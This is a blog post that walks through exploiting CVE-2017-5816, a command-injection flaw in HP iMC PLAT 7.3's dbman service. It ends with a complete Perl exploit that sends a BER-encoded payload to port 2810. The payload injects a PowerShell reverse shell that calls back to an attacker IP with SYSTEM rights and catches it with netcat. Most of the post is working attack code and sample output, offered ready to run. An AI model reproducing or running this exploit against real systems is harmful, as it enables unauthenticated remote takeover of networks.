Posts CVE-2017-5816 Whitepaper
Post
Cancel

CVE-2017-5816 Whitepaper

Background

The dbman.exe module out of HP iMC PLAT 7.3 listening on TCP/2810 tries to initiate a restart of some network services, whilst doing so running NET STOP on an asn.1 BER encoded ip address. Because of multiple vulnerabilities within dbman, you can pass a string (BER encoded with dummy credentials) that is not properly sanitized (detected as an, and only an, ip address). This leaves us to simply close the quote and escape into being able to fork off any process we want using &. It is important to note that authentication with dbman is not required to exploit this vulnerability.

PoC

The fist problem was generating the opcode and asn.1 allocation size dynamically. This can be done with pack and sprintf in perl:

print pack("H8", sprintf("%08x", 10008));

The problem needing a little more effort was figuring out what asn.1 BER encoded data it will accept. We know it’s asn.1 BER because we can see the calls to the decoding function in ollydbg. After trying for days with online BER encoding tools (BER is very dynamic, so getting the data+scheme was a bit problematic), finally it was back to the drawing board and generated it from perl like so:

use Encoding::BER;
 my $ber = Encoding::BER->new; 
my $dat = [{type => ['octet_string'], value => "AAA"}];
print $ber->encode($dat);

So now we have:

use lib 'lib';
use Encoding::BER;
use Math::BigInt;

use strict;
my $payload = <STDIN>;

my $ber = Encoding::BER->new;
my $data = [
             { type  => ['octet_string'], value => '0' },
             { type  => ['integer'], value => 4  },
             { type  => ['octet_string'], value =>  $payload },
             { type  => ['octet_string'], value => 'x' },
             { type  => ['octet_string'], value => 'x' },
             { type  => ['octet_string'], value => 'x' },
            ];
my $p = $ber->encode($data);
my $sz = pack("H8", sprintf("%08x", length($p)));
print pack("H8", sprintf("%08x", 10008)) . $sz . $p;

Which will generate our payload, which can be as simple as calc.exe. It’s important to note that when calc pops, it will be running as SYSTEM, which is likely not your GUI user… but that’s good for our purposes.

Exploitation

From here, it’s as simple as plugging in the reverse shell code to $payload. Note: This payload only works if KB976932 service pack and DotNetFix 4.5 are installed on the exploited host because of powershell requirements.

x"& powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.1.136',7777);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"        &

I ran it through a little data2c_hex.sh program, and added some spaces to get alignment correct.

hexdump -e '16/1 "_x%02X" "\n"' | sed 's/_/\\/g; s/\\x  //g; s/.*/    "&"/'

Which leave us with the final weaponized version:

#!/usr/bin/perl

#  CVE-2017-5816
#  Marshall Whittaker / oxagast
#  Thanks go to sztivi for discovery
#  Thanks go to Nikhil SamratAshok Mittal 
#  for the modified powershell reverse shell
#  Not verified but I think it needs KB976932 
#  and dot net fix 4.5 for the payload to work.
#
#  ./dbman_HPe_iMC_PLAT-7.3_remote_powershell.pl 10.0.1.122 10.0.1.2
#  Crafting payload with 10.0.1.2:7777...
#  Enbering payload data...
#  Binary encoding opcode 10008 and allocation size 560...
#  With a 537 byte powershell payload...
#  Getting ready to send exploit!
#  Waiting for shell... (this should only take a second or two)
#  Connection from 10.0.1.122:49172
#  PS C:\Windows\system32> whoami
#  nt authority\system
#

use Encoding::BER;
use Sanitize;
use Socket;
use strict;

sub help_me() {
  print STDERR "Marshall Whittaker / oxagast\n";
  print STDERR "CVE-2017-5816\n";
  print STDERR "HP iMC PLAT 7.3 dbman exploit 2021\n";                                          # of the things i've lost
  print STDERR "  useage ./sploit <victim> <attacker> <reverse_shell_port>\n";                  # i miss my mind the most
  exit(1);
}

my $victim   = $ARGV[ 0 ];
my $attacker = $ARGV[ 1 ];

if ( ( scalar(@ARGV) < 2 ) || ( scalar(@ARGV) > 3 ) ) {                                         # see how many args they used
  help_me();
  exit(1);
}

if ( ( ( validate( $ARGV[ 0 ], ip => 1 ) ) == 0 )                                               # sanitize the ip addresses
  || ( validate( $ARGV[ 1 ], ip => 1 ) ) == 0 )                                                 # so nothing crazy gets sent
{                                                                                               # to crash dbman.exe
  print STDERR "Err: Only IPv4 addresses as the first two arguments.\n";
  help_me();
  exit(1);
}
else {
  my $rev     = $ARGV[ 2 ];
  my $user    = `whoami`;                                                                       # checks if root then can use ports under 1024
  my $revport = 7777;
  if ( ( $rev != "" )
    && ( $rev =~ m/^\d+$/ )
    && ( ( $rev >= 1 ) && ( $rev <= 65535 ) ) )
  {
    if ( $rev >= 1023 ) {
      $revport = $rev;
    }
    elsif ( $user =~ /^root$/ ) {
      $revport = $rev;
      print "Running in priveleged mode port $revport...\n";
    }
    else {
      print STDERR "Err: Reverse port error... ";
      print STDERR " netcat won't bind to $attacker:$rev (hint: sudo)\n";
      help_me();
      exit(1);
    }
  }
  print "Crafting payload with $attacker:$revport...\n";
                                                                                                # ps1 reverse by Nikhil SamratAshok Mittal
                                                                                                # this is a normal powershell reverse 
                                                                                                # payload, but i added a pause so that 
                                                                                                # we have time to make sure netcat is active
  my $payload =
      'x"& powershell -nop -exec bypass -c "Start-Sleep -s 1;$client = New-Object System.Net.Sockets.TCPClient(\''
      . $attacker . "\',"
      . $revport
      . ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" &';
  print "Enbering payload data...\n";

                                                                                                # we asn.1 BER encode the payload here
  my $ber  = Encoding::BER->new;
  my $data = [
    { type => [ 'octet_string' ], value => '0' },
    { type => [ 'integer' ],      value => 4 },
    { type => [ 'octet_string' ], value => $payload },
    { type => [ 'octet_string' ], value => 'x' },                                               # these can be dummy values of db un/pw etc
    { type => [ 'octet_string' ], value => 'x' },
    { type => [ 'octet_string' ], value => 'x' },
  ];
  my $p = $ber->encode($data);                                                                  # actually encode it all

# the opcode and the allocation size for the ber have to be in binary, with leading \x00's
  print "Binary encoding opcode 10008 and allocation size "
      . length($p) . "...\n";
  print "With a " . length($payload) . " byte powershell payload...\n";
  my $sz   = pack( "H8", sprintf( "%08x", length($p) ) );
  my $payl = pack( "H8", sprintf( "%08x", 10008 ) ) . $sz . $p;

  my $port = 2810;    # dbman.exe's default port
  socket( SOCKET, PF_INET, SOCK_STREAM, ( getprotobyname('tcp') )[ 2 ] )
      or die "Can't create a socket $!\n";
  connect( SOCKET, pack_sockaddr_in( $port, inet_aton($victim) ) )
      or die "Can't connect to $victim:$port! \n";
  print "Getting ready to send exploit!\n";
  print SOCKET $payl;         # send the exploit here!
  close SOCKET or die "close: $!";
  print "Waiting for shell... (this should only take a second or two)\n";
  system("nc -l -p $revport -v") == ( 0 || 256 )
      or die "netcat: $?";                                                                      # just waiting for the shell,
                                                                                                # the payload will take a couple
                                                                                                # seconds to trigger

}

SYSTEM level powershell reverse acheived. Game over.

This post is licensed under CC BY 4.0 by the author.